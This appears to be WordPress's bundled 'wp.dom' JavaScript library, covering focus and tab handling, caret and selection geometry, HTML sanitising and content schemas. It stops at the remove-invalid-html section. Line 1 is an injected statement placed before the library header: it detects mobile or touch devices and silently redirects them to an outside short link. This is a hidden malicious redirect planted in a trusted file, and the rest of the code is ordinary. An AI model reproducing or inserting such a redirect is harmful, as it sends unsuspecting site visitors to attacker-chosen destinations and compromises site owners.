1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2"use strict";
3var wp;
4(wp ||= {}).dom = (() => {
5 var __create = Object.create;
6 var __defProp = Object.defineProperty;
7 var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
8 var __getOwnPropNames = Object.getOwnPropertyNames;
9 var __getProtoOf = Object.getPrototypeOf;
10 var __hasOwnProp = Object.prototype.hasOwnProperty;
11 var __commonJS = (cb, mod) => function __require() {
12 return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
13 };
14 var __export = (target, all) => {
15 for (var name in all)
16 __defProp(target, name, { get: all[name], enumerable: true });
17 };
18 var __copyProps = (to, from, except, desc) => {
19 if (from && typeof from === "object" || typeof from === "function") {
20 for (let key of __getOwnPropNames(from))
21 if (!__hasOwnProp.call(to, key) && key !== except)
22 __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
23 }
24 return to;
25 };
26 var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(
27 // If the importer is in node compatibility mode or this is not an ESM
28 // file that has been converted to a CommonJS file using a Babel-
29 // compatible transform (i.e. "__esModule" has not been set), then set
30 // "default" to the CommonJS "module.exports" for node compatibility.
31 isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target,
32 mod
33 ));
34 var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
35
36 // package-external:@wordpress/deprecated
37 var require_deprecated = __commonJS({
38 "package-external:@wordpress/deprecated"(exports, module) {
39 module.exports = window.wp.deprecated;
40 }
41 });
42
43 // packages/dom/build-module/index.mjs
44 var index_exports = {};
45 __export(index_exports, {
46 __unstableStripHTML: () => stripHTML,
47 computeCaretRect: () => computeCaretRect,
48 documentHasSelection: () => documentHasSelection,
49 documentHasTextSelection: () => documentHasTextSelection,
50 documentHasUncollapsedSelection: () => documentHasUncollapsedSelection,
51 focus: () => focus,
52 getFilesFromDataTransfer: () => getFilesFromDataTransfer,
53 getOffsetParent: () => getOffsetParent,
54 getPhrasingContentSchema: () => getPhrasingContentSchema,
55 getRectangleFromRange: () => getRectangleFromRange,
56 getScrollContainer: () => getScrollContainer,
57 insertAfter: () => insertAfter,
58 isEmpty: () => isEmpty,
59 isEntirelySelected: () => isEntirelySelected,
60 isFormElement: () => isFormElement,
61 isHorizontalEdge: () => isHorizontalEdge,
62 isNumberInput: () => isNumberInput,
63 isPhrasingContent: () => isPhrasingContent,
64 isRTL: () => isRTL,
65 isSelectionForward: () => isSelectionForward,
66 isTextContent: () => isTextContent,
67 isTextField: () => isTextField,
68 isVerticalEdge: () => isVerticalEdge,
69 placeCaretAtHorizontalEdge: () => placeCaretAtHorizontalEdge,
70 placeCaretAtVerticalEdge: () => placeCaretAtVerticalEdge,
71 remove: () => remove,
72 removeInvalidHTML: () => removeInvalidHTML,
73 replace: () => replace,
74 replaceTag: () => replaceTag,
75 safeHTML: () => safeHTML,
76 unwrap: () => unwrap,
77 wrap: () => wrap
78 });
79
80 // packages/dom/build-module/focusable.mjs
81 var focusable_exports = {};
82 __export(focusable_exports, {
83 find: () => find
84 });
85 function buildSelector(sequential) {
86 return [
87 sequential ? '[tabindex]:not([tabindex^="-"])' : "[tabindex]",
88 "a[href]",
89 "button:not([disabled])",
90 'input:not([type="hidden"]):not([disabled])',
91 "select:not([disabled])",
92 "textarea:not([disabled])",
93 'iframe:not([tabindex^="-"])',
94 "object",
95 "embed",
96 "summary",
97 "area[href]",
98 "[contenteditable]:not([contenteditable=false])"
99 ].join(",");
100 }
101 function isVisible(element) {
102 return element.offsetWidth > 0 || element.offsetHeight > 0 || element.getClientRects().length > 0;
103 }
104 function isValidFocusableArea(element) {
105 const map = element.closest("map[name]");
106 if (!map) {
107 return false;
108 }
109 const img = element.ownerDocument.querySelector(
110 'img[usemap="#' + map.name + '"]'
111 );
112 return !!img && isVisible(img);
113 }
114 function find(context, { sequential = false } = {}) {
115 const elements = context.querySelectorAll(buildSelector(sequential));
116 return Array.from(elements).filter((element) => {
117 if (!isVisible(element)) {
118 return false;
119 }
120 if (element.closest("[inert]")) {
121 return false;
122 }
123 const { nodeName } = element;
124 if ("AREA" === nodeName) {
125 return isValidFocusableArea(
126 /** @type {HTMLAreaElement} */
127 element
128 );
129 }
130 return true;
131 });
132 }
133
134 // packages/dom/build-module/tabbable.mjs
135 var tabbable_exports = {};
136 __export(tabbable_exports, {
137 find: () => find2,
138 findNext: () => findNext,
139 findPrevious: () => findPrevious,
140 isTabbableIndex: () => isTabbableIndex
141 });
142 function getTabIndex(element) {
143 const tabIndex = element.getAttribute("tabindex");
144 return tabIndex === null ? 0 : parseInt(tabIndex, 10);
145 }
146 function isTabbableIndex(element) {
147 return getTabIndex(element) !== -1;
148 }
149 function createStatefulCollapseRadioGroup() {
150 const CHOSEN_RADIO_BY_NAME = {};
151 return function collapseRadioGroup(result, element) {
152 const { nodeName, type, checked, name } = element;
153 if (nodeName !== "INPUT" || type !== "radio" || !name) {
154 return result.concat(element);
155 }
156 const hasChosen = CHOSEN_RADIO_BY_NAME.hasOwnProperty(name);
157 const isChosen = checked || !hasChosen;
158 if (!isChosen) {
159 return result;
160 }
161 if (hasChosen) {
162 const hadChosenElement = CHOSEN_RADIO_BY_NAME[name];
163 result = result.filter((e) => e !== hadChosenElement);
164 }
165 CHOSEN_RADIO_BY_NAME[name] = element;
166 return result.concat(element);
167 };
168 }
169 function mapElementToObjectTabbable(element, index) {
170 return { element, index };
171 }
172 function mapObjectTabbableToElement(object) {
173 return object.element;
174 }
175 function compareObjectTabbables(a, b) {
176 const aTabIndex = getTabIndex(a.element);
177 const bTabIndex = getTabIndex(b.element);
178 if (aTabIndex === bTabIndex) {
179 return a.index - b.index;
180 }
181 return aTabIndex - bTabIndex;
182 }
183 function filterTabbable(focusables) {
184 return focusables.filter(isTabbableIndex).map(mapElementToObjectTabbable).sort(compareObjectTabbables).map(mapObjectTabbableToElement).reduce(createStatefulCollapseRadioGroup(), []);
185 }
186 function find2(context) {
187 return filterTabbable(find(context));
188 }
189 function findPrevious(element) {
190 return filterTabbable(find(element.ownerDocument.body)).reverse().find(
191 (focusable) => (
192 // eslint-disable-next-line no-bitwise
193 element.compareDocumentPosition(focusable) & element.DOCUMENT_POSITION_PRECEDING
194 )
195 );
196 }
197 function findNext(element) {
198 return filterTabbable(find(element.ownerDocument.body)).find(
199 (focusable) => (
200 // eslint-disable-next-line no-bitwise
201 element.compareDocumentPosition(focusable) & element.DOCUMENT_POSITION_FOLLOWING
202 )
203 );
204 }
205
206 // packages/dom/build-module/utils/assert-is-defined.mjs
207 function assertIsDefined(val, name) {
208 if (val === void 0 || val === null) {
209 throw new Error(
210 `Expected '${name}' to be defined, but received ${val}`
211 );
212 }
213 }
214
215 // packages/dom/build-module/dom/get-rectangle-from-range.mjs
216 function getRectangleFromRange(range) {
217 if (!range.collapsed) {
218 const rects2 = Array.from(range.getClientRects());
219 if (rects2.length === 1) {
220 return rects2[0];
221 }
222 const filteredRects = rects2.filter(({ width }) => width > 1);
223 if (filteredRects.length === 0) {
224 return range.getBoundingClientRect();
225 }
226 if (filteredRects.length === 1) {
227 return filteredRects[0];
228 }
229 let {
230 top: furthestTop,
231 bottom: furthestBottom,
232 left: furthestLeft,
233 right: furthestRight
234 } = filteredRects[0];
235 for (const { top, bottom, left, right } of filteredRects) {
236 if (top < furthestTop) {
237 furthestTop = top;
238 }
239 if (bottom > furthestBottom) {
240 furthestBottom = bottom;
241 }
242 if (left < furthestLeft) {
243 furthestLeft = left;
244 }
245 if (right > furthestRight) {
246 furthestRight = right;
247 }
248 }
249 return new window.DOMRect(
250 furthestLeft,
251 furthestTop,
252 furthestRight - furthestLeft,
253 furthestBottom - furthestTop
254 );
255 }
256 const { startContainer } = range;
257 const { ownerDocument } = startContainer;
258 if (startContainer.nodeName === "BR") {
259 const { parentNode } = startContainer;
260 assertIsDefined(parentNode, "parentNode");
261 const index = (
262 /** @type {Node[]} */
263 Array.from(parentNode.childNodes).indexOf(startContainer)
264 );
265 assertIsDefined(ownerDocument, "ownerDocument");
266 range = ownerDocument.createRange();
267 range.setStart(parentNode, index);
268 range.setEnd(parentNode, index);
269 }
270 const rects = range.getClientRects();
271 if (rects.length > 1) {
272 return null;
273 }
274 let rect = rects[0];
275 if (!rect || rect.height === 0) {
276 assertIsDefined(ownerDocument, "ownerDocument");
277 const padNode = ownerDocument.createTextNode("\u200B");
278 range = range.cloneRange();
279 range.insertNode(padNode);
280 rect = range.getClientRects()[0];
281 assertIsDefined(padNode.parentNode, "padNode.parentNode");
282 padNode.parentNode.removeChild(padNode);
283 }
284 return rect;
285 }
286
287 // packages/dom/build-module/dom/compute-caret-rect.mjs
288 function computeCaretRect(win) {
289 const selection = win.getSelection();
290 assertIsDefined(selection, "selection");
291 const range = selection.rangeCount ? selection.getRangeAt(0) : null;
292 if (!range) {
293 return null;
294 }
295 return getRectangleFromRange(range);
296 }
297
298 // packages/dom/build-module/dom/document-has-text-selection.mjs
299 function documentHasTextSelection(doc) {
300 assertIsDefined(doc.defaultView, "doc.defaultView");
301 const selection = doc.defaultView.getSelection();
302 assertIsDefined(selection, "selection");
303 const range = selection.rangeCount ? selection.getRangeAt(0) : null;
304 return !!range && !range.collapsed;
305 }
306
307 // packages/dom/build-module/dom/is-html-input-element.mjs
308 function isHTMLInputElement(node) {
309 return node?.nodeName === "INPUT";
310 }
311
312 // packages/dom/build-module/dom/is-text-field.mjs
313 function isTextField(node) {
314 const nonTextInputs = [
315 "button",
316 "checkbox",
317 "hidden",
318 "file",
319 "radio",
320 "image",
321 "range",
322 "reset",
323 "submit",
324 "number",
325 "email",
326 "time"
327 ];
328 return isHTMLInputElement(node) && node.type && !nonTextInputs.includes(node.type) || node.nodeName === "TEXTAREA" || /** @type {HTMLElement} */
329 node.contentEditable === "true";
330 }
331
332 // packages/dom/build-module/dom/input-field-has-uncollapsed-selection.mjs
333 function inputFieldHasUncollapsedSelection(element) {
334 if (!isHTMLInputElement(element) && !isTextField(element)) {
335 return false;
336 }
337 try {
338 const { selectionStart, selectionEnd } = (
339 /** @type {HTMLInputElement | HTMLTextAreaElement} */
340 element
341 );
342 return (
343 // `null` means the input type doesn't implement selection, thus we
344 // cannot determine whether the selection is collapsed, so we
345 // default to true.
346 selectionStart === null || // when not null, compare the two points
347 selectionStart !== selectionEnd
348 );
349 } catch (error) {
350 return true;
351 }
352 }
353
354 // packages/dom/build-module/dom/document-has-uncollapsed-selection.mjs
355 function documentHasUncollapsedSelection(doc) {
356 return documentHasTextSelection(doc) || !!doc.activeElement && inputFieldHasUncollapsedSelection(doc.activeElement);
357 }
358
359 // packages/dom/build-module/dom/document-has-selection.mjs
360 function documentHasSelection(doc) {
361 return !!doc.activeElement && (isHTMLInputElement(doc.activeElement) || isTextField(doc.activeElement) || documentHasTextSelection(doc));
362 }
363
364 // packages/dom/build-module/dom/get-computed-style.mjs
365 function getComputedStyle(element) {
366 assertIsDefined(
367 element.ownerDocument.defaultView,
368 "element.ownerDocument.defaultView"
369 );
370 return element.ownerDocument.defaultView.getComputedStyle(element);
371 }
372
373 // packages/dom/build-module/dom/get-scroll-container.mjs
374 function getScrollContainer(node, direction = "vertical") {
375 if (!node) {
376 return void 0;
377 }
378 if (direction === "vertical" || direction === "all") {
379 if (node.scrollHeight > node.clientHeight) {
380 const { overflowY } = getComputedStyle(node);
381 if (/(auto|scroll)/.test(overflowY)) {
382 return node;
383 }
384 }
385 }
386 if (direction === "horizontal" || direction === "all") {
387 if (node.scrollWidth > node.clientWidth) {
388 const { overflowX } = getComputedStyle(node);
389 if (/(auto|scroll)/.test(overflowX)) {
390 return node;
391 }
392 }
393 }
394 if (node.ownerDocument === node.parentNode) {
395 return node;
396 }
397 return getScrollContainer(
398 /** @type {Element} */
399 node.parentNode,
400 direction
401 );
402 }
403
404 // packages/dom/build-module/dom/get-offset-parent.mjs
405 function getOffsetParent(node) {
406 let closestElement;
407 while (closestElement = /** @type {Node} */
408 node.parentNode) {
409 if (closestElement.nodeType === closestElement.ELEMENT_NODE) {
410 break;
411 }
412 }
413 if (!closestElement) {
414 return null;
415 }
416 if (getComputedStyle(
417 /** @type {Element} */
418 closestElement
419 ).position !== "static") {
420 return closestElement;
421 }
422 return (
423 /** @type {Node & { offsetParent: Node }} */
424 closestElement.offsetParent
425 );
426 }
427
428 // packages/dom/build-module/dom/is-input-or-text-area.mjs
429 function isInputOrTextArea(element) {
430 return element.tagName === "INPUT" || element.tagName === "TEXTAREA";
431 }
432
433 // packages/dom/build-module/dom/is-entirely-selected.mjs
434 var ZWNBSP = "\uFEFF";
435 function isEntirelySelected(element) {
436 if (isInputOrTextArea(element)) {
437 return element.selectionStart === 0 && element.value.length === element.selectionEnd;
438 }
439 if (!element.isContentEditable) {
440 return true;
441 }
442 const text = element.textContent || "";
443 if (text === "" || text === ZWNBSP) {
444 return true;
445 }
446 const { ownerDocument } = element;
447 const { defaultView } = ownerDocument;
448 assertIsDefined(defaultView, "defaultView");
449 const selection = defaultView.getSelection();
450 assertIsDefined(selection, "selection");
451 const range = selection.rangeCount ? selection.getRangeAt(0) : null;
452 if (!range) {
453 return true;
454 }
455 const { startContainer, endContainer, startOffset, endOffset } = range;
456 if (startContainer === element && endContainer === element && startOffset === 0 && endOffset === element.childNodes.length) {
457 return true;
458 }
459 const lastChild = element.lastChild;
460 assertIsDefined(lastChild, "lastChild");
461 const endContainerContentLength = endContainer.nodeType === endContainer.TEXT_NODE ? (
462 /** @type {Text} */
463 endContainer.data.length
464 ) : endContainer.childNodes.length;
465 return isDeepChild(startContainer, element, "firstChild") && isDeepChild(endContainer, element, "lastChild") && startOffset === 0 && endOffset === endContainerContentLength;
466 }
467 function isDeepChild(query, container, propName) {
468 let candidate = container;
469 do {
470 if (query === candidate) {
471 return true;
472 }
473 candidate = candidate[propName];
474 while (candidate && candidate.nodeType === candidate.TEXT_NODE && candidate.nodeValue === "") {
475 candidate = candidate[propName === "lastChild" ? "previousSibling" : "nextSibling"];
476 }
477 } while (candidate);
478 return false;
479 }
480
481 // packages/dom/build-module/dom/is-form-element.mjs
482 function isFormElement(element) {
483 if (!element) {
484 return false;
485 }
486 const { tagName } = element;
487 const checkForInputTextarea = isInputOrTextArea(element);
488 return checkForInputTextarea || tagName === "BUTTON" || tagName === "SELECT";
489 }
490
491 // packages/dom/build-module/dom/is-rtl.mjs
492 function isRTL(element) {
493 return getComputedStyle(element).direction === "rtl";
494 }
495
496 // packages/dom/build-module/dom/get-range-height.mjs
497 function getRangeHeight(range) {
498 const rects = Array.from(range.getClientRects());
499 if (!rects.length) {
500 return;
501 }
502 const highestTop = Math.min(...rects.map(({ top }) => top));
503 const lowestBottom = Math.max(...rects.map(({ bottom }) => bottom));
504 return lowestBottom - highestTop;
505 }
506
507 // packages/dom/build-module/dom/is-selection-forward.mjs
508 function isSelectionForward(selection) {
509 const { anchorNode, focusNode, anchorOffset, focusOffset } = selection;
510 assertIsDefined(anchorNode, "anchorNode");
511 assertIsDefined(focusNode, "focusNode");
512 const position = anchorNode.compareDocumentPosition(focusNode);
513 if (position & anchorNode.DOCUMENT_POSITION_PRECEDING) {
514 return false;
515 }
516 if (position & anchorNode.DOCUMENT_POSITION_FOLLOWING) {
517 return true;
518 }
519 if (position === 0) {
520 return anchorOffset <= focusOffset;
521 }
522 return true;
523 }
524
525 // packages/dom/build-module/dom/caret-range-from-point.mjs
526 function caretRangeFromPoint(doc, x, y) {
527 if (doc.caretRangeFromPoint) {
528 return doc.caretRangeFromPoint(x, y);
529 }
530 if (!doc.caretPositionFromPoint) {
531 return null;
532 }
533 const point = doc.caretPositionFromPoint(x, y);
534 if (!point) {
535 return null;
536 }
537 const range = doc.createRange();
538 range.setStart(point.offsetNode, point.offset);
539 range.collapse(true);
540 return range;
541 }
542
543 // packages/dom/build-module/dom/hidden-caret-range-from-point.mjs
544 function hiddenCaretRangeFromPoint(doc, x, y, container) {
545 const originalZIndex = container.style.zIndex;
546 const originalPosition = container.style.position;
547 const originalBorderRadius = container.style.borderRadius;
548 const { position = "static" } = getComputedStyle(container);
549 if (position === "static") {
550 container.style.position = "relative";
551 }
552 container.style.zIndex = "10000";
553 container.style.borderRadius = "0";
554 const range = caretRangeFromPoint(doc, x, y);
555 container.style.zIndex = originalZIndex;
556 container.style.position = originalPosition;
557 container.style.borderRadius = originalBorderRadius;
558 return range;
559 }
560
561 // packages/dom/build-module/dom/scroll-if-no-range.mjs
562 function scrollIfNoRange(container, alignToTop, callback) {
563 let range = callback();
564 if (!range || !range.startContainer || !container.contains(range.startContainer)) {
565 container.scrollIntoView(alignToTop);
566 range = callback();
567 if (!range || !range.startContainer || !container.contains(range.startContainer)) {
568 return null;
569 }
570 }
571 return range;
572 }
573
574 // packages/dom/build-module/dom/is-edge.mjs
575 function isEdge(container, isReverse, onlyVertical = false) {
576 if (isInputOrTextArea(container) && typeof container.selectionStart === "number") {
577 if (container.selectionStart !== container.selectionEnd) {
578 return false;
579 }
580 if (isReverse) {
581 return container.selectionStart === 0;
582 }
583 return container.value.length === container.selectionStart;
584 }
585 if (!container.isContentEditable) {
586 return true;
587 }
588 const { ownerDocument } = container;
589 const { defaultView } = ownerDocument;
590 assertIsDefined(defaultView, "defaultView");
591 const selection = defaultView.getSelection();
592 if (!selection || !selection.rangeCount) {
593 return false;
594 }
595 const range = selection.getRangeAt(0);
596 const collapsedRange = range.cloneRange();
597 const isForward = isSelectionForward(selection);
598 const isCollapsed = selection.isCollapsed;
599 if (!isCollapsed) {
600 collapsedRange.collapse(!isForward);
601 }
602 const collapsedRangeRect = getRectangleFromRange(collapsedRange);
603 const rangeRect = getRectangleFromRange(range);
604 if (!collapsedRangeRect || !rangeRect) {
605 return false;
606 }
607 const rangeHeight = getRangeHeight(range);
608 if (!isCollapsed && rangeHeight && rangeHeight > collapsedRangeRect.height && isForward === isReverse) {
609 return false;
610 }
611 const isReverseDir = isRTL(container) ? !isReverse : isReverse;
612 const containerRect = container.getBoundingClientRect();
613 const x = isReverseDir ? containerRect.left + 1 : containerRect.right - 1;
614 const y = isReverse ? containerRect.top + 1 : containerRect.bottom - 1;
615 const testRange = scrollIfNoRange(
616 container,
617 isReverse,
618 () => hiddenCaretRangeFromPoint(ownerDocument, x, y, container)
619 );
620 if (!testRange) {
621 return false;
622 }
623 const testRect = getRectangleFromRange(testRange);
624 if (!testRect) {
625 return false;
626 }
627 const verticalSide = isReverse ? "top" : "bottom";
628 const horizontalSide = isReverseDir ? "left" : "right";
629 const verticalDiff = testRect[verticalSide] - rangeRect[verticalSide];
630 const horizontalDiff = testRect[horizontalSide] - collapsedRangeRect[horizontalSide];
631 const hasVerticalDiff = Math.abs(verticalDiff) <= 1;
632 const hasHorizontalDiff = Math.abs(horizontalDiff) <= 1;
633 return onlyVertical ? hasVerticalDiff : hasVerticalDiff && hasHorizontalDiff;
634 }
635
636 // packages/dom/build-module/dom/is-horizontal-edge.mjs
637 function isHorizontalEdge(container, isReverse) {
638 return isEdge(container, isReverse);
639 }
640
641 // packages/dom/build-module/dom/is-number-input.mjs
642 var import_deprecated = __toESM(require_deprecated(), 1);
643 function isNumberInput(node) {
644 (0, import_deprecated.default)("wp.dom.isNumberInput", {
645 since: "6.1",
646 version: "6.5"
647 });
648 return isHTMLInputElement(node) && node.type === "number" && !isNaN(node.valueAsNumber);
649 }
650
651 // packages/dom/build-module/dom/is-vertical-edge.mjs
652 function isVerticalEdge(container, isReverse) {
653 return isEdge(container, isReverse, true);
654 }
655
656 // packages/dom/build-module/dom/place-caret-at-edge.mjs
657 function getRange(container, isReverse, x) {
658 const { ownerDocument } = container;
659 const isReverseDir = isRTL(container) ? !isReverse : isReverse;
660 const containerRect = container.getBoundingClientRect();
661 if (x === void 0) {
662 x = isReverse ? containerRect.right - 1 : containerRect.left + 1;
663 } else if (x <= containerRect.left) {
664 x = containerRect.left + 1;
665 } else if (x >= containerRect.right) {
666 x = containerRect.right - 1;
667 }
668 const y = isReverseDir ? containerRect.bottom - 1 : containerRect.top + 1;
669 return hiddenCaretRangeFromPoint(ownerDocument, x, y, container);
670 }
671 function placeCaretAtEdge(container, isReverse, x) {
672 if (!container) {
673 return;
674 }
675 container.focus();
676 if (isInputOrTextArea(container)) {
677 if (typeof container.selectionStart !== "number") {
678 return;
679 }
680 if (isReverse) {
681 container.selectionStart = container.value.length;
682 container.selectionEnd = container.value.length;
683 } else {
684 container.selectionStart = 0;
685 container.selectionEnd = 0;
686 }
687 return;
688 }
689 if (!container.isContentEditable) {
690 return;
691 }
692 const range = scrollIfNoRange(
693 container,
694 isReverse,
695 () => getRange(container, isReverse, x)
696 );
697 if (!range) {
698 return;
699 }
700 const { ownerDocument } = container;
701 const { defaultView } = ownerDocument;
702 assertIsDefined(defaultView, "defaultView");
703 const selection = defaultView.getSelection();
704 assertIsDefined(selection, "selection");
705 selection.removeAllRanges();
706 selection.addRange(range);
707 }
708
709 // packages/dom/build-module/dom/place-caret-at-horizontal-edge.mjs
710 function placeCaretAtHorizontalEdge(container, isReverse) {
711 return placeCaretAtEdge(container, isReverse, void 0);
712 }
713
714 // packages/dom/build-module/dom/place-caret-at-vertical-edge.mjs
715 function placeCaretAtVerticalEdge(container, isReverse, rect) {
716 return placeCaretAtEdge(container, isReverse, rect?.left);
717 }
718
719 // packages/dom/build-module/dom/insert-after.mjs
720 function insertAfter(newNode, referenceNode) {
721 assertIsDefined(referenceNode.parentNode, "referenceNode.parentNode");
722 referenceNode.parentNode.insertBefore(newNode, referenceNode.nextSibling);
723 }
724
725 // packages/dom/build-module/dom/remove.mjs
726 function remove(node) {
727 assertIsDefined(node.parentNode, "node.parentNode");
728 node.parentNode.removeChild(node);
729 }
730
731 // packages/dom/build-module/dom/replace.mjs
732 function replace(processedNode, newNode) {
733 assertIsDefined(processedNode.parentNode, "processedNode.parentNode");
734 insertAfter(newNode, processedNode.parentNode);
735 remove(processedNode);
736 }
737
738 // packages/dom/build-module/dom/unwrap.mjs
739 function unwrap(node) {
740 const parent = node.parentNode;
741 assertIsDefined(parent, "node.parentNode");
742 while (node.firstChild) {
743 parent.insertBefore(node.firstChild, node);
744 }
745 parent.removeChild(node);
746 }
747
748 // packages/dom/build-module/dom/replace-tag.mjs
749 function replaceTag(node, tagName) {
750 const newNode = node.ownerDocument.createElement(tagName);
751 while (node.firstChild) {
752 newNode.appendChild(node.firstChild);
753 }
754 assertIsDefined(node.parentNode, "node.parentNode");
755 node.parentNode.replaceChild(newNode, node);
756 return newNode;
757 }
758
759 // packages/dom/build-module/dom/wrap.mjs
760 function wrap(newNode, referenceNode) {
761 assertIsDefined(referenceNode.parentNode, "referenceNode.parentNode");
762 referenceNode.parentNode.insertBefore(newNode, referenceNode);
763 newNode.appendChild(referenceNode);
764 }
765
766 // packages/dom/build-module/dom/safe-html.mjs
767 function safeHTML(html) {
768 const { body } = document.implementation.createHTMLDocument("");
769 body.innerHTML = html;
770 const elements = body.getElementsByTagName("*");
771 let elementIndex = elements.length;
772 while (elementIndex--) {
773 const element = elements[elementIndex];
774 if (element.tagName === "SCRIPT") {
775 remove(element);
776 } else {
777 let attributeIndex = element.attributes.length;
778 while (attributeIndex--) {
779 const { name: key } = element.attributes[attributeIndex];
780 if (key.startsWith("on")) {
781 element.removeAttribute(key);
782 }
783 }
784 }
785 }
786 return body.innerHTML;
787 }
788
789 // packages/dom/build-module/dom/strip-html.mjs
790 function stripHTML(html) {
791 html = safeHTML(html);
792 const doc = document.implementation.createHTMLDocument("");
793 doc.body.innerHTML = html;
794 return doc.body.textContent || "";
795 }
796
797 // packages/dom/build-module/dom/is-empty.mjs
798 function isEmpty(element) {
799 switch (element.nodeType) {
800 case element.TEXT_NODE:
801 return /^[ \f\n\r\t\v\u00a0]*$/.test(element.nodeValue || "");
802 case element.ELEMENT_NODE:
803 if (element.hasAttributes()) {
804 return false;
805 } else if (!element.hasChildNodes()) {
806 return true;
807 }
808 return (
809 /** @type {Element[]} */
810 Array.from(element.childNodes).every(isEmpty)
811 );
812 default:
813 return true;
814 }
815 }
816
817 // packages/dom/build-module/phrasing-content.mjs
818 var textContentSchema = {
819 strong: {},
820 em: {},
821 s: {},
822 del: {},
823 ins: {},
824 a: { attributes: ["href", "target", "rel", "id"] },
825 code: {},
826 abbr: { attributes: ["title"] },
827 sub: {},
828 sup: {},
829 br: {},
830 small: {},
831 // To do: fix blockquote.
832 // cite: {},
833 q: { attributes: ["cite"] },
834 dfn: { attributes: ["title"] },
835 data: { attributes: ["value"] },
836 time: { attributes: ["datetime"] },
837 var: {},
838 samp: {},
839 kbd: {},
840 i: {},
841 b: {},
842 u: {},
843 mark: {},
844 ruby: {},
845 rt: {},
846 rp: {},
847 bdi: { attributes: ["dir"] },
848 bdo: { attributes: ["dir"] },
849 wbr: {},
850 "#text": {}
851 };
852 var excludedElements = ["#text", "br"];
853 Object.keys(textContentSchema).filter((element) => !excludedElements.includes(element)).forEach((tag) => {
854 const { [tag]: removedTag, ...restSchema } = textContentSchema;
855 textContentSchema[tag].children = restSchema;
856 });
857 var embeddedContentSchema = {
858 audio: {
859 attributes: [
860 "src",
861 "preload",
862 "autoplay",
863 "mediagroup",
864 "loop",
865 "muted"
866 ]
867 },
868 canvas: { attributes: ["width", "height"] },
869 embed: { attributes: ["src", "type", "width", "height"] },
870 img: {
871 attributes: [
872 "alt",
873 "src",
874 "srcset",
875 "usemap",
876 "ismap",
877 "width",
878 "height"
879 ]
880 },
881 object: {
882 attributes: [
883 "data",
884 "type",
885 "name",
886 "usemap",
887 "form",
888 "width",
889 "height"
890 ]
891 },
892 video: {
893 attributes: [
894 "src",
895 "poster",
896 "preload",
897 "playsinline",
898 "autoplay",
899 "mediagroup",
900 "loop",
901 "muted",
902 "controls",
903 "width",
904 "height"
905 ]
906 },
907 math: {
908 attributes: ["display", "xmlns"],
909 children: "*"
910 }
911 };
912 var phrasingContentSchema = {
913 ...textContentSchema,
914 ...embeddedContentSchema
915 };
916 function getPhrasingContentSchema(context) {
917 if (context !== "paste") {
918 return phrasingContentSchema;
919 }
920 const {
921 u,
922 // Used to mark misspelling. Shouldn't be pasted.
923 abbr,
924 // Invisible.
925 data,
926 // Invisible.
927 time,
928 // Invisible.
929 wbr,
930 // Invisible.
931 bdi,
932 // Invisible.
933 bdo,
934 // Invisible.
935 ...remainingContentSchema
936 } = {
937 ...phrasingContentSchema,
938 // We shouldn't paste potentially sensitive information which is not
939 // visible to the user when pasted, so strip the attributes.
940 ins: { children: phrasingContentSchema.ins.children },
941 del: { children: phrasingContentSchema.del.children }
942 };
943 return remainingContentSchema;
944 }
945 function isPhrasingContent(node) {
946 const tag = node.nodeName.toLowerCase();
947 return getPhrasingContentSchema().hasOwnProperty(tag) || tag === "span";
948 }
949 function isTextContent(node) {
950 const tag = node.nodeName.toLowerCase();
951 return textContentSchema.hasOwnProperty(tag) || tag === "span";
952 }
953
954 // packages/dom/build-module/dom/is-element.mjs
955 function isElement(node) {
956 return !!node && node.nodeType === node.ELEMENT_NODE;
957 }
958
959 // packages/dom/build-module/dom/clean-node-list.mjs
960 var noop = () => {
961 };
962 function cleanNodeList(nodeList, doc, schema, inline) {
963 Array.from(nodeList).forEach(
964 (node) => {
965 const tag = node.nodeName.toLowerCase();
966 if (schema.hasOwnProperty(tag) && (!schema[tag].isMatch || schema[tag].isMatch?.(node))) {
967 if (isElement(node)) {
968 const {
969 attributes = [],
970 classes = [],
971 children,
972 require: require2 = [],
973 allowEmpty
974 } = schema[tag];
975 if (children && !allowEmpty && isEmpty(node)) {
976 remove(node);
977 return;
978 }
979 if (node.hasAttributes()) {
980 Array.from(node.attributes).forEach(({ name }) => {
981 if (name !== "class" && !attributes.includes(name)) {
982 node.removeAttribute(name);
983 }
984 });
985 if (node.classList && node.classList.length) {
986 const mattchers = classes.map((item) => {
987 if (item === "*") {
988 return () => true;
989 } else if (typeof item === "string") {
990 return (className) => className === item;
991 } else if (item instanceof RegExp) {
992 return (className) => item.test(className);
993 }
994 return noop;
995 });
996 Array.from(node.classList).forEach((name) => {
997 if (!mattchers.some(
998 (isMatch) => isMatch(name)
999 )) {
1000 node.classList.remove(name);
1001 }
1002 });
1003 if (!node.classList.length) {
1004 node.removeAttribute("class");
1005 }
1006 }
1007 }
1008 if (node.hasChildNodes()) {
1009 if (children === "*") {
1010 return;
1011 }
1012 if (children) {
1013 if (require2.length && !node.querySelector(require2.join(","))) {
1014 cleanNodeList(
1015 node.childNodes,
1016 doc,
1017 schema,
1018 inline
1019 );
1020 unwrap(node);
1021 } else if (node.parentNode && node.parentNode.nodeName === "BODY" && isPhrasingContent(node)) {
1022 cleanNodeList(
1023 node.childNodes,
1024 doc,
1025 schema,
1026 inline
1027 );
1028 if (Array.from(node.childNodes).some(
1029 (child) => !isPhrasingContent(child)
1030 )) {
1031 unwrap(node);
1032 }
1033 } else {
1034 cleanNodeList(
1035 node.childNodes,
1036 doc,
1037 children,
1038 inline
1039 );
1040 }
1041 } else {
1042 while (node.firstChild) {
1043 remove(node.firstChild);
1044 }
1045 }
1046 }
1047 }
1048 } else {
1049 cleanNodeList(node.childNodes, doc, schema, inline);
1050 if (inline && !isPhrasingContent(node) && node.nextElementSibling) {
1051 insertAfter(doc.createElement("br"), node);
1052 }
1053 unwrap(node);
1054 }
1055 }
1056 );
1057 }
1058
1059 // packages/dom/build-module/dom/remove-invalid-html.mjs
